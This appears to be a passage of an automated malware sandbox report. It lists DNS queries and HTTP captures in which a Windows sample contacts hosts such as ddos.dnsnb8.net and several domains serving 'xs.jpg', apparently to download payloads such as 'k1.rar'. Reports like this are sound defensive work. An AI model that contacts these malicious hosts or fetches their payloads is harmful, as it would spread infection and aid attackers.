                                                          Jul 5, 2024 08:03:23.370753050 CEST192.168.2.71.1.1.10x7a34Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:23.390492916 CEST192.168.2.71.1.1.10x7a34Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:26.843708992 CEST192.168.2.71.1.1.10x6c3dStandard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:28.526628017 CEST192.168.2.71.1.1.10x28b1Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:30.450555086 CEST192.168.2.71.1.1.10x563fStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:31.803684950 CEST192.168.2.71.1.1.10x31d4Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:37.281517029 CEST192.168.2.71.1.1.10x2e96Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:38.863493919 CEST192.168.2.71.1.1.10xba89Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:40.193758965 CEST192.168.2.71.1.1.10xaa96Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:41.425532103 CEST192.168.2.71.1.1.10xfbc7Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:44.521576881 CEST192.168.2.71.1.1.10x9c52Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:47.424505949 CEST192.168.2.71.1.1.10x25c1Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:49.994155884 CEST192.168.2.71.1.1.10xc39dStandard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:53.832828999 CEST192.168.2.71.1.1.10xedb6Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:53.863370895 CEST192.168.2.71.1.1.10xedb6Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:55.291810989 CEST192.168.2.71.1.1.10xf778Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:56.924763918 CEST192.168.2.71.1.1.10x669aStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:59.386408091 CEST192.168.2.71.1.1.10x4075Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:04:01.469876051 CEST192.168.2.71.1.1.10xe31cStandard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:04:02.926549911 CEST192.168.2.71.1.1.10x6a67Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:04:07.465717077 CEST192.168.2.71.1.1.10x50e1Standard query (0)amsamex.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:04:08.719635963 CEST192.168.2.71.1.1.10x4013Standard query (0)g2.arrowhitech.comA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:04:11.149795055 CEST192.168.2.71.1.1.10xde03Standard query (0)althawry.orgA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:04:12.472647905 CEST192.168.2.71.1.1.10xfebStandard query (0)amsamex.comA (IP address)IN (0x0001)false

                                                          DNS Answers

                                                          TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                          Jul 5, 2024 08:00:06.945010900 CEST1.1.1.1192.168.2.70x4fa3Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:07.393573999 CEST1.1.1.1192.168.2.70x73f9No error (0)ddos.dnsnb8.net44.221.84.105A (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:07.748579979 CEST1.1.1.1192.168.2.70xf705No error (0)www.careerdesk.org54.244.188.177A (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:08.761212111 CEST1.1.1.1192.168.2.70x1a84No error (0)arthur.niria.biz44.221.84.105A (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:09.333863020 CEST1.1.1.1192.168.2.70xde37Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:09.621656895 CEST1.1.1.1192.168.2.70xc745No error (0)apple-pie.in44.221.84.105A (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:10.638885975 CEST1.1.1.1192.168.2.70x24b7No error (0)ahmediye.net78.46.2.155A (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:11.392087936 CEST1.1.1.1192.168.2.70x5d49Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:11.512454033 CEST1.1.1.1192.168.2.70x207eNo error (0)ampyazilim.com.tr37.230.104.89A (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:13.471070051 CEST1.1.1.1192.168.2.70x209bName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:14.764115095 CEST1.1.1.1192.168.2.70x29ecName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:20.564910889 CEST1.1.1.1192.168.2.70x62e9Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:24.799566984 CEST1.1.1.1192.168.2.70x5878Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:26.510029078 CEST1.1.1.1192.168.2.70xc09eName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:27.793600082 CEST1.1.1.1192.168.2.70xe49aName error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:33.096426964 CEST1.1.1.1192.168.2.70x70ebName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:34.386950970 CEST1.1.1.1192.168.2.70x11aeName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:35.733424902 CEST1.1.1.1192.168.2.70x437dName error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:40.919006109 CEST1.1.1.1192.168.2.70xe868Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:42.731231928 CEST1.1.1.1192.168.2.70x1bffName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:43.965790987 CEST1.1.1.1192.168.2.70xf958Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:50.788791895 CEST1.1.1.1192.168.2.70x8d53Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:53.128945112 CEST1.1.1.1192.168.2.70x52c7Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:54.381455898 CEST1.1.1.1192.168.2.70x8afaName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:00:55.621721983 CEST1.1.1.1192.168.2.70x32d7Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:00.965745926 CEST1.1.1.1192.168.2.70x43beName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:03.249253035 CEST1.1.1.1192.168.2.70xbdaeName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:04.981628895 CEST1.1.1.1192.168.2.70x7b45Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:06.177695990 CEST1.1.1.1192.168.2.70xb25cName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:07.503093004 CEST1.1.1.1192.168.2.70xb68eName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:12.669128895 CEST1.1.1.1192.168.2.70xe685Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:14.557995081 CEST1.1.1.1192.168.2.70x3c13Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:15.854171038 CEST1.1.1.1192.168.2.70x2203Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:18.203603029 CEST1.1.1.1192.168.2.70x4ef5Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:20.565452099 CEST1.1.1.1192.168.2.70xd7acName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:23.069874048 CEST1.1.1.1192.168.2.70xf76fName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:25.609267950 CEST1.1.1.1192.168.2.70x3cb0Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:28.395493984 CEST1.1.1.1192.168.2.70x4c4fName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:31.125930071 CEST1.1.1.1192.168.2.70xb3d7Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:33.750034094 CEST1.1.1.1192.168.2.70x8223Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:36.246207952 CEST1.1.1.1192.168.2.70xd84dName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:38.787053108 CEST1.1.1.1192.168.2.70xfb8bName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:41.492688894 CEST1.1.1.1192.168.2.70x3de3Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:44.681210995 CEST1.1.1.1192.168.2.70x8890Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:48.259423971 CEST1.1.1.1192.168.2.70x1f6eName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:49.581517935 CEST1.1.1.1192.168.2.70x33ecName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:50.827579021 CEST1.1.1.1192.168.2.70x91d0Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:52.987390995 CEST1.1.1.1192.168.2.70x547aName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:54.737904072 CEST1.1.1.1192.168.2.70x435fName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:56.024760008 CEST1.1.1.1192.168.2.70xaac2Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:57.646744013 CEST1.1.1.1192.168.2.70xe4aName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:01:59.583265066 CEST1.1.1.1192.168.2.70xcd8aName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:00.826436043 CEST1.1.1.1192.168.2.70x4427Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:02.924823046 CEST1.1.1.1192.168.2.70x3647Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:05.609020948 CEST1.1.1.1192.168.2.70xf0aeName error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:09.061712027 CEST1.1.1.1192.168.2.70x59bfName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:10.600605965 CEST1.1.1.1192.168.2.70x52f7Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:12.223826885 CEST1.1.1.1192.168.2.70x88d9Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:13.511064053 CEST1.1.1.1192.168.2.70xd7b8Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:17.168203115 CEST1.1.1.1192.168.2.70x80ebName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:18.487375021 CEST1.1.1.1192.168.2.70x5caName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:19.849179029 CEST1.1.1.1192.168.2.70xf782Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:21.579143047 CEST1.1.1.1192.168.2.70x367fName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:24.539797068 CEST1.1.1.1192.168.2.70x27c3Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:27.596216917 CEST1.1.1.1192.168.2.70x2f53Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:30.743700027 CEST1.1.1.1192.168.2.70xd1eaName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:32.569633961 CEST1.1.1.1192.168.2.70x8f95Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:33.814826012 CEST1.1.1.1192.168.2.70x8386Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:35.476891041 CEST1.1.1.1192.168.2.70x6d3eName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:38.567996979 CEST1.1.1.1192.168.2.70xa44cName error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:41.608850956 CEST1.1.1.1192.168.2.70x306Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:44.368947983 CEST1.1.1.1192.168.2.70x97baName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:46.926604033 CEST1.1.1.1192.168.2.70xbc89Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:49.859778881 CEST1.1.1.1192.168.2.70x51fdName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:52.738008022 CEST1.1.1.1192.168.2.70x899fName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:55.331173897 CEST1.1.1.1192.168.2.70x26caName error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:58.762164116 CEST1.1.1.1192.168.2.70xfac5Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:02:59.991789103 CEST1.1.1.1192.168.2.70xa4c9Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:01.625420094 CEST1.1.1.1192.168.2.70xf170Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:04.725260973 CEST1.1.1.1192.168.2.70x29eaName error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:08.082581997 CEST1.1.1.1192.168.2.70x4684Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:08.082595110 CEST1.1.1.1192.168.2.70x4684Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:09.493228912 CEST1.1.1.1192.168.2.70xa56bName error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:11.334716082 CEST1.1.1.1192.168.2.70xf04dName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:12.680397034 CEST1.1.1.1192.168.2.70xf077Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:15.923064947 CEST1.1.1.1192.168.2.70x2020Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:17.465393066 CEST1.1.1.1192.168.2.70x4c6cName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:18.668385029 CEST1.1.1.1192.168.2.70x76d5Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:20.584556103 CEST1.1.1.1192.168.2.70xd165Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:23.388854980 CEST1.1.1.1192.168.2.70x7a34Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:23.397694111 CEST1.1.1.1192.168.2.70x7a34Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:26.852513075 CEST1.1.1.1192.168.2.70x6c3dName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:28.536401033 CEST1.1.1.1192.168.2.70x28b1Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:30.469033003 CEST1.1.1.1192.168.2.70x563fName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:31.811045885 CEST1.1.1.1192.168.2.70x31d4Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:37.290736914 CEST1.1.1.1192.168.2.70x2e96Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:38.877362967 CEST1.1.1.1192.168.2.70xba89Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:40.202064991 CEST1.1.1.1192.168.2.70xaa96Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:41.432662964 CEST1.1.1.1192.168.2.70xfbc7Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:44.536982059 CEST1.1.1.1192.168.2.70x9c52Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:47.435411930 CEST1.1.1.1192.168.2.70x25c1Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:50.004174948 CEST1.1.1.1192.168.2.70xc39dName error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:54.059813023 CEST1.1.1.1192.168.2.70xedb6Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:54.070167065 CEST1.1.1.1192.168.2.70xedb6Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:55.303136110 CEST1.1.1.1192.168.2.70xf778Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:56.932800055 CEST1.1.1.1192.168.2.70x669aName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:03:59.397994041 CEST1.1.1.1192.168.2.70x4075Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:04:01.477427959 CEST1.1.1.1192.168.2.70xe31cName error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:04:02.933801889 CEST1.1.1.1192.168.2.70x6a67Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:04:07.473206997 CEST1.1.1.1192.168.2.70x50e1Name error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:04:08.729021072 CEST1.1.1.1192.168.2.70x4013Name error (3)g2.arrowhitech.comnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:04:11.157244921 CEST1.1.1.1192.168.2.70xde03Name error (3)althawry.orgnonenoneA (IP address)IN (0x0001)false
                                                          Jul 5, 2024 08:04:12.483407021 CEST1.1.1.1192.168.2.70xfebName error (3)amsamex.comnonenoneA (IP address)IN (0x0001)false

                                                          HTTP Request Dependency Graph

                                                          • ddos.dnsnb8.net:799
                                                          • www.careerdesk.org
                                                          • arthur.niria.biz
                                                          • apple-pie.in
                                                          • ahmediye.net
                                                          • ampyazilim.com.tr

                                                          HTTP Packets

                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          0192.168.2.74970644.221.84.105799320C:\Users\user\AppData\Local\Temp\plgMeM.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:07.750441074 CEST288OUTGET /cj//k1.rar HTTP/1.1
                                                          Accept: */*
                                                          Accept-Encoding: gzip, deflate
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                          Host: ddos.dnsnb8.net:799
                                                          Connection: Keep-Alive


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          1192.168.2.74970754.244.188.177807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:07.985688925 CEST201OUTGET /images/xs.jpg?4ad8f3=24526015 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: www.careerdesk.org
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:08.646006107 CEST671INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:08 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=www.careerdesk.org; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=55301d477887b214cad048d7655297d1|8.46.123.33|1720159208|1720159208|0|1|0; path=/; domain=.careerdesk.org; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: snkz=8.46.123.33; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          2192.168.2.74970844.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:08.773435116 CEST192OUTGET /xs.jpg?4cac3c=10049656 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: arthur.niria.biz
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:09.277347088 CEST662INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:09 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=; path=/; domain=.arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=; path=/; domain=arthur.niria.biz; Max-Age=1; Expires=Thu, 01 Jan 1970 00:00:01 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: btst=d7b33ecc4232ebfc49228401eafbb102|8.46.123.33|1720159209|1720159209|0|1|0; path=/; domain=.niria.biz; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: snkz=8.46.123.33; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          3192.168.2.74970944.221.84.105807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:09.628662109 CEST195OUTGET /images/xs.jpg?4dbdbb=20379372 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: apple-pie.in
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:10.129319906 CEST410INHTTP/1.1 200 OK
                                                          Server: nginx
                                                          Date: Fri, 05 Jul 2024 06:00:10 GMT
                                                          Content-Type: text/html
                                                          Transfer-Encoding: chunked
                                                          Connection: close
                                                          Set-Cookie: btst=6b30ed9e4e922279428005538fb9ac08|8.46.123.33|1720159210|1720159210|0|1|0; path=/; domain=.apple-pie.in; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                          Set-Cookie: snkz=8.46.123.33; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                          Data Raw: 30 0d 0a 0d 0a
                                                          Data Ascii: 0


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          4192.168.2.74971078.46.2.155807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:10.645081997 CEST188OUTGET /xs.jpg?5099e9=26411405 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ahmediye.net
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:11.322273970 CEST403INHTTP/1.1 404 Not Found
                                                          Date: Fri, 05 Jul 2024 06:00:11 GMT
                                                          Server: Apache
                                                          Content-Length: 258
                                                          Content-Type: text/html; charset=iso-8859-1
                                                          Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 61 68 6d 65 64 69 79 65 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                          Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at ahmediye.net Port 80</address></body></html>


                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                          5192.168.2.74971137.230.104.89807020C:\Users\user\Desktop\a4#Uff09.exe
                                                          TimestampBytes transferredDirectionData
                                                          Jul 5, 2024 08:00:11.526433945 CEST200OUTGET /images/xs2.jpg?53338f=5452687 HTTP/1.1
                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)
                                                          Host: ampyazilim.com.tr
                                                          Cache-Control: no-cache
                                                          Jul 5, 2024 08:00:12.262953043 CEST933INHTTP/1.1 301 Moved Permanently
                                                          Connection: Keep-Alive
                                                          Keep-Alive: timeout=5, max=100
                                                          content-type: text/html
                                                          content-length: 707
                                                          date: Fri, 05 Jul 2024 06:00:12 GMT
